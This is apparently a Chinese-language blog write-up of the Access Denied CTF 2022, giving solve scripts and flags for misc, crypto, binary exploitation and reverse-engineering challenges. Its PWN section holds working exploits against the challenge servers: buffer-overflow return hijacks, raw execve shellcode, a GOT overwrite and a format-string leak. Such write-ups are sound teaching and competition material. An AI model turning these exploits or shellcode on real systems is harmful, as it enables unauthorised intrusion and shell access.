Access Denied CTF 2022

Access Denied CTF 2022

难度不算太大。这次和我朋友努力一把冲前20希望能成功。第一次能把MISC ak。

MISC

没有隐写的misc,写着真舒服。

Shark-1

Description:

1
Nobody likes traffic, but what about network traffic?

附件是pcapng。

在tcp流0中有信息。

1
2
3
4
give me the xor key
xor key 80
Here is the flag: 4ePj5fPz5OXu6eXk+/ex8rPz6LTy69/is/P03+aw8t/wtOPrs/Tf8+6x5uax7uffuebjs7i0seKx/Q==
Thank you got it

base64解码然后异或一下就行了。

1
2
3
4
5
6
7
8
9
from base64 import b64decode

data = b64decode("4ePj5fPz5OXu6eXk+/ex8rPz6LTy69/is/P03+aw8t/wtOPrs/Tf8+6x5uax7uffuebjs7i0seKx/Q==")
key = 0x80

for i in data:
print(chr(i^key), end="")

# accessdenied{w1r3sh4rk_b3st_f0r_p4ck3t_sn1ff1ng_9fc3841b1}

Flow

Description:

1
2
Kill the dragon.
server: nc 35.193.60.121 9337

这题挺奇怪的,随便试试就出来了。一开始以为要整数溢出,结果不需要。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
C:\Users\lanpesk>nc 35.193.60.121 9337
1.) Fight the dragon
2.) Enter the shop
3.) See your current level
4.) exit
2
There are 5 levels of sword available
1.) Level 1 sword each costs 500. It helps you level up by 1
2.) Level 2 sword each costs 5000. It helps you level up by 10
3.) Level 3 sword each costs 50000. It helps you level up by 100
4.) Level 4 sword each costs 500000. It helps you level up by 1000
5.) Level 5 sword each costs 5000000. It helps you level up by 10000
Which sword you want? 5
Enter the number of swords you want to buy? 12321
You have success increased your level to 123210001
1.) Fight the dragon
2.) Enter the shop
3.) See your current level
4.) exit
1
The dragon is currently on level 5000000.
Hoooo........ You killed the dragon
Here is your flag accessdenied{1nt3g3r_0v3rfl0w5_4r3_d4ng3r0u5_2d7b9a76}

Shark-2

Description:

1
I guess you know what wireshark is.

在tcp流42中有一张图片。

导出来打开即可的flag。

1
# accessdenied{3xtr4ct_0bj3ct5_fr0m_w1r3sh4rk}

Bobs Favourite Number

Description:

1
2
Can you find identify bob's favourite numbers?
server: nc 35.193.60.121 1337

附件是题目的描述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Bobs favourite numbers

Bob likes two numbers 1856 (as his college was founded as the Civil Engineering College on 24 November 1856) and 2014 (as his college was renamed as Indian Institute of Engineering Science and Technology, Shibpur by the Govt. of India in March 2014).

A number N is Bob's favourite number if N is equal to the sum of a certain number of 1856 and sum of a certain number of 2014.

Task: Print whether a number is Bob's favourite number or not.

Input:
First line contains a single integer number N.

Output:
Print “Yes” if Favourite if N is Bob’s favourite number, else print “No”.

Constraints: 1 <= N <= 10^9

Sample input:
5726

Sample output:
Yes

Sample explanation:
5726 can be represented as the sum of 1856 + 1856 + 2014.

判断给出的数是否是由1856和2014组成的。

跑脚本就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

r = remote ( "35.193.60.121", 1337)

while True:
num = eval(r.recvline())
r.recvline()

c = num
a = 1856
b = 2014

# 懒得写数论,多跑几次就能出, 网上找的二元一次不定方程的解判定不太行。干脆直接暴力了。
find = False
if num % 2 == 0:
for x in range(c // a + 1,-1,-1): # 穷举可能的x
if find:
break
for y in range((c - a * x) // b + 1, -1,-1): # 穷举可能的y
if a * x + b * y == c:
find = True
break
if find:
print("Yes")
r.send(b"Yes\n")
find = False
else :
print("No")
r.send(b"No\n")

flag = r.recvline()
if b"access" in flag:
print(flag)
break

r.closed()

# accessdenied{b0bs_f4v0r1t3_numb3r5_4r3_m1n3_f4v0urit3_t00_61c884c8}

Green and Red flags

Description:

1
2
Find the greatest number possible.
server: server: nc 35.193.60.121 5337

附件是题目描述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Green and Red Flag

Given a number N and each number is assigned either a green or red flag. We can apply the following operations any number of times: choose any two digits of number N with the same coloured flag assigned and swap them.

Task: Print the maximum possible number, after applying any number of operations on number N.

Input:
First line contains D the number of digits in the number N.
Second line contains a string N which indicates the number N.
Third line contains a string C which indicates the colour of the flag assigned to each digit.

Output:
Print the maximum possible number, after applying any number of operations on number N.

Constraints: 1 <= D <= 10^6

Sample input
5
16487
rgrrg

Sample output
87416

就是r的数字可以互相换位置,g的位置可以互相换位置。那么我们只要rg的序列都是最大的就可以了。这题的数据量十分大,所以我找了在国外的同学来帮我跑这个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

r = remote("35.193.60.121", 5337)

while True:
flag = r.recvline()
num = r.recvline().decode("utf-8").replace("\n","")
word = r.recvline().decode("utf-8").replace("\n", "")
r.recvline() # Answer

print(num)
print(word)

green = []
red = []
for i in range(len(word)):
if word[i] == "g":
green.append(eval(num[i]))
else:
red.append(eval(num[i]))

green = sorted(green)
red = sorted(red)

result = []

for i in word:
if i == "g":
result.append(str(green.pop()))
else :
result.append(str(red.pop()))

r.sendline("".join(result).encode("utf-8"))
print(r.recvline())

# accessdenied{gr33n_fl4gs_f0r_m3_4nd_r3d_fl4g5_4re_f0r_y0u_c8e0c8a3}

Crypto

有些题有想法但是解不出来

RSA-1

Description:

1
let's get down to basics.

附件内容如下:

1
2
3
4
p = 10428615258416108003372202871855627713663325599674460924186517713082197448534315449595394752587304354394402047262801959990727856908043138185588365886987557
q = 8849030739304056868757301096931487921973840186794195322071503751716059434197468028088264340322992996182734000877348221433845302801843370163430108727308579
e = 65537
cipher_text = 84826403344972753121997388456739256614537789930909176473018827332005543366933391914385410712984001888365906754988120732970328825657318675360778107518188000885732104031648548997976916964730682864696944786364581243443475767387970255510475855029059715864139791778210784283726274424510221073880200865856769716576

直接接就可以。

1
# accessdenied{RSA_1S_4M4Z1nG_R1GhT????_2a5286af}

RSA-2

Description:

1
Ok, What are you gonna do now?

附件内容:

1
2
3
N = 264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187
e = 65537
ct = 175347248748800717331910762241898102719683222504200516534883687111045877096093372005991552193144558951747833811929393668749668731738201985792026669764642235225240342271148171

又是什么都没有,yafu分解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
F:\CTFTools\yafu-1.34>yafu-x64.exe
factor(264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187)


fac: factoring 264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C174
rho: x^2 + 2, starting 1000 iterations on C174
rho: x^2 + 1, starting 1000 iterations on C174
pm1: starting B1 = 150K, B2 = gmp-ecm default on C174
ecm: 30/30 curves on C174, B1=2K, B2=gmp-ecm default
ecm: 21/74 curves on C174, B1=11K, B2=gmp-ecm default
Total factoring time = 1.8447 seconds


***factors found***

P20 = 22788121468146346999
P155 = 11587518025855592759726630124584244020238845252808598255278658263482784394605886754984976163579618331619323699778956049111427022474635415206131197278729813

ans = 1

然后rsa解。

1
# accessdenied{alw4y5_try_t0_f4ct0r1z3_n_9ba93547}

Small key

Description:

1
I got the key easily.

附件是程序代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 import os

flag = b"XXXXXX"
key = os.urandom(8)

cipher_text = b""

for i in range(len(flag)):
cipher_text += bytes([flag[i] ^ key[i % 8]])


print(cipher_text.hex())


# flag 763d32726973a23f79373473616ba86a60300e677634f734482a626f6e5ff22e636a327c2f5ff228240123242e6caa23483d6127765fff6d743a61212f38bb

我们知道明文accessdenied所以可以解出来key。然后用key去解整个密文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import libnum
from Crypto.Util.strxor import strxor

flag_enc = libnum.n2s(0x763d32726973a23f79373473616ba86a60300e677634f734482a626f6e5ff22e636a327c2f5ff228240123242e6caa23483d6127765fff6d743a61212f38bb)

flag_enc += b"\x00"*(8 - (len(flag_enc)%8))

part = b"accessde"

key = strxor(part, flag_enc[:8])

flag = [strxor(flag_enc[8*i:8*i+8], key) for i in range(len(flag_enc)//8)]

print(b"".join(flag))

# accessdenied{kn0wn_pl41n_t3xt_4tt4ck5_4r3_r34lly_c00l_97cd0658}

RSA-3

Description:

1
ohh.. What's wrong with using common prime for both public keys?

附件内容:

1
2
3
4
5
6
7
N1 = 18266349196400324728796632198426724065863341515460128017379722167088811564142208540762217975696666190887534687486334974478770458134458646785682182438231047535912495200486295399237083743354006572775979196273345894016812147421648391560534928953791045301656072851030393661346227010573392017192092871743599780733618974144278058844414678104713310777338685821340236864598500469843212331330335171804328016140678014295178395686821469446312308097781506852568269309368807576215036130913554259546509277614896420588483929704110258122427731934119749960465772609969329231395097168664992720797902433454838999670183197496533599372453
e1 = 65537
ct1 = 6873813036805706192019236826822502457972771100457517090756917047060847774848540323350759250580238758998913544271128101335276213320240302206398066922772200444602226203653559017733029810367927075606003863202964202725297461799495530697341270915140044964898303984854574497628349362668695378519684693264593494716972185326436905495762497116849607924837994943127697112124217181161062684698865533001086211217060178202980704668203486578672364578669469712587269077695001297138207491663356223994825422557742042083843727850238507161657755737436196961552942941154267260840237025593539923533367161391402240798650010287812581011106

N2 = 24659767524526013018768938973883991511377669248630968999008468264428208747461052247749924232027616129566843290411914770222062361142014390330463814302544910044772535448949923181736285951382305617780092296934319600643083108399436503551987425616568398265868184384255524744326852580109993750455923648308457300741311644056806840080239266629430170801800674692923486070263947659308964150022391540089059138911526148899685247042835949241530880572488161927637699425020944697998483747469309576045917038431425710502056969197916002745593176785614139365197372746789456581367558816039809574657471032143676431357391125588624599050493
e2 = 65537
ct2 = 11715772208083492702167997175167454009301340692399196360593824415816062365292031273728996255749695189978948242292097965040268601546052250584302206331424224398934005270192769085862845465718216946900897219973683677713043297722976307588263004621450861659350169718646844558379707749844428304916965303036455448719228506667752535085465025614399994834368259311922477097878143154258042140694172977284700008301528490157090476538427961683829505682126281348126157784828204887638985638647829395157101409725453166939388563809584382420835218557337222313577592617066209235421605768519128885685600282422644017925260843832358253267634

描述说两个N公用了一个素数。所以GCD解出来就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from gmpy2 import *
from sympy import *
from libnum import *

N1 = ...
e1 = 65537
ct1 = ...

N2 = ...
e2 = 65537
ct2 = ...

p = int(gcd(N1,N2))
assert isprime(p)
e = 65537
d = int(invert(e, p-1))

print(n2s(pow(ct1, d, p)))
print(n2s(pow(ct2, d, p)))

# b'accessdenied{r3us31ng_5tuff_1s'
# b'_n0t_f0r_crypt0gr4phy_69c36434}'

# accessdenied{r3us31ng_5tuff_1s_n0t_f0r_crypt0gr4phy_69c36434}

Merkle is a good man

Description:

1
Have you ever seen the length of public key is equal to the msg bit length?

哈,一看到这个描述就知道是背包加密了。对于上次做背包加密方法对了但是代码写错了感到十分残念。

文件内容太长了,这里就不放了。

LLL约束求解。代码是sagemath。线上的sagemath不支持这种运算量。需要自己跑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from libnum import *

with open(r"enc.txt", "r") as fp:
encoded = eval(fp.read())

with open(r"public_key.txt", "r") as fp:
Pk = eval(fp.read())

nbit = len(Pk)
A = Matrix(ZZ, nbit + 1, nbit + 1)
for i in range(nbit):
A[i, i] = 1

for i in range(nbit):
A[i, nbit] = Pk[i]
A[nbit, nbit] = -int(encoded)

print("processing")
res = A.LLL()

flag = res[-1][:-1]

flag = "".join(list(map(str, flag)))

print(b2s(flag))
1
2
3
4
5
6
┌──(kali㉿kali)-[~/CTF/access denied]
└─$ /home/kali/SageMath/SageMath/sage "/home/kali/CTF/access denied/solve.sage.py"
processing
b'accessdenied{m3rkl3_h3llm4n_crypt0_1s_w34k_095403ff}'

# accessdenied{m3rkl3_h3llm4n_crypt0_1s_w34k_095403ff}

PWN

适合用于教学和期末考试。

Ret2Win

Description:

1
2
Huh, jump, jump, jump to win.
server: nc 34.134.85.196 1337

源代码和文件都给了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win(){
system("cat flag.txt");
}

void vuln(){
char name[32];
fgets(name, 64, stdin);
puts(name);
}

void main() {
alarm(0x20);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
}

缓冲区溢出劫持返回地址,跳转到win函数即可。

1
2
3
4
5
6
7
8
9
from pwn import  *

r = remote("34.134.85.196", 1337)

r.sendline(p32(0x8049216)*20)

r.interactive()

# accessdenied{fl0w_fl0w_0v3rfl0w_g3t_w1n_07372581}

shellcode

Description:

1
2
Beginner code.
server: nc 34.134.85.196 5337

源代码和文件都给了。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main(){
alarm(0x20);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
char machine_code[512];
printf("This only understands the machine code so you have to give only the machine code, so please enter the machine code below\n");
fgets(machine_code, 512, stdin);
((void (*)())(machine_code))();
}

最后一句直接执行了我们输入的数据。所以送一个shellcode即可。

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = remote("34.134.85.196", 5337)

context(os='linux', arch='amd64', log_level='debug')

r.sendline(b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05")
r.interactive()

# accessdenied{3x3cut3d_x64_sh3ll_0v3rfl0w_5ucc3ssfully_611a1501}

ret2system

Description:

1
2
Oh... Oh. I have system here.
server: nc 34.134.85.196 9337

代码和文件都给了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char store[64];

void vuln(){
char buf[32];
system("date");
printf("You are allowed to store some value\n");
fgets(store, 64, stdin);
printf("Enter the buffer now\n");
fgets(buf, 64, stdin);
}

void main(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
alarm(0x20);
vuln();
}

vuln存在一个缓冲区溢出,看了一下开了栈不可执行。所以没法传shellcode。这里给了一个store是在堆里面的。这个变量的地址是固定的。我们可以得到。所以利用这个变量来传参数"/bin/sh"然后溢出劫持到system。执行system("/bin/sh")。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r = remote("34.134.85.196", 9337)

# 堆中写入字符串
r.sendline(b"/bin/sh")

straddress = p32(0x0804C060)
system = p32(0x08049236)

r.sendline(system*12 + straddress)
r.sendline(b"ls")
r.interactive()
r.closed()

# accessdenied{n3xt_1_w1ll_n0t_1nclud3_system_func710n_1t53lf_e8dd6fc7}

OOB

Description:

1
2
I only have an array here
server: nc 34.71.207.70 1337

给了代码和文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int arr[16];


void win(){
system("cat flag.txt");
}

void main(){
int index, value;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
alarm(0x20);
printf("Enter the index: ");
scanf("%d", &index);
printf("Enter the value: ");
scanf("%d", &value);
arr[index] = value;
puts("good bye");
}

可以看到一个arr在堆里面。我们可以通过arr这个地址来操控向任意地址写入。所以覆写puts的got表到win函数即可。这里puts的地址在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
elf = ELF(r"oob")

puts_got = elf.got["puts"]
win = elf.symbols["win"]
arr = elf.symbols["arr"]
print("puts_got:",hex(puts_got))
print("win:",hex(win))
print("arr:",hex(arr))

distance = (puts_got - arr) // 4
print(distance)

r = remote("34.71.207.70", 1337)

r.sendline(str(distance).encode("utf-8"))
r.sendline(str(win).encode("utf-8"))
print(r.recvline())

# accessdenied{00b_4r3_v3ry_us3ful_r1ght_54a4ce45}

Read

Description:

1
2
Read, Read and Read.
server: nc 34.71.207.70 5337

代码和文件都给了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char flag[64];

void main(){
char name[32];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
alarm(0x20);
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. \n");
exit(0);
}
fgets(flag, 64,f);
puts("Enter your name");
read(0, name, 32);
printf(name);
}

这里有个格式化字符串漏洞。这里我们要来利用这个漏洞来泄露flag的值。由于flag的地址高位是0,所以我们选择放在后面输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

elf = ELF(r"format_string_read")
context(os="linux", arch="amd64", log_level="debug")

flag_add = elf.symbols["flag"]

r = remote("34.71.207.70", 5337)

# 由于是64位系统,地址8字节对齐所以前面我们需要填充至8字节。
# 字符串起始实际上是第八个参数。但这里我们讲flag放在字符串的第二个位置,所以读取位置+1
r.sendline(b"%9$spppp" + p64(flag_add))

print(r.recvline())
print(r.recvline())

# accessdenied{f0rm4t_5tr1ng_r34d_0fa330d1}

Reverse

这一类我只写了一部分,还有一些是我朋友写的。

babyc

Description:

1
C the world with see.

文件是源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define MAXSIZE 100
char flag[] = {-111, -47, -47, -79, -39, -39, 49, -79, 97, -127, -79, 49, -55, 9, 27, 89, -19, 59, 97, 49, -19, 89, -37, 121, -37, 89, -69, -37, -19, -111, 89, -37, -19, 113, -71, 97, -19, -101, 49, 49, 11, 91, -69, 11, -79, -87};

char reverse(char ch) {
int x = 0;
for(int i = 0; i < 8; i++) {
x *= 2;
if((ch & (1 << i))) {
x++;
}
}
return (char)x;
}

void encode(char str[]) {
int xor = 23;
for(int i = 0; str[i] != '\0'; i++) {
str[i] = reverse(str[i]);
str[i] = (char)(xor ^ str[i]);
}
}

int main()
{

char str[MAXSIZE];
scanf("%100s", str);

getchar();
encode(str);
if(strcmp(flag, str) == 0){
printf("Access Granted :(");
}
else{
printf("Access Denied :)");
}
}

直接爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main()
{
char char_set[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$&\'()*+,-./:;<=>?@[\\]^_`{|}~";

for (int i = 0 ; i < 46; i++) {
for (int j = 0; j < 94; j++) {
if (flag[i] == (char)(23 ^ reverse(char_set[j]))){
printf("%c", char_set[j]);
break;
}
}

}
}

// accessdenied{x0r_4nd_r3v3r53_ar3_fun_1dd8258e}

最后还是只拿到了33名,也还算不错了。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!